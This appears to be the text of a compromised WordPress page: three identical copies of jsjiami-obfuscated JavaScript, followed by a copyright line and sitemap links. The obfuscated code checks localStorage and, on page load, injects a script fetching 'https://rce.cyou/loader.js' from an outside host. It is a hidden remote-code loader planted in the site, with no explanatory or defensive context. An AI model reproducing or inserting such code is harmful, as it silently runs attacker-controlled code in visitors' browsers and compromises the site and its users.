var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
© 2026 GrazzMean
https://ai.shandianfk.com/wp-sitemap-posts-post-1.xmlhttps://ai.shandianfk.com/wp-sitemap-posts-page-1.xmlhttps://ai.shandianfk.com/wp-sitemap-taxonomies-category-1.xmlhttps://ai.shandianfk.com/wp-sitemap-taxonomies-post_tag-1.xmlhttps://ai.shandianfk.com/wp-sitemap-users-1.xml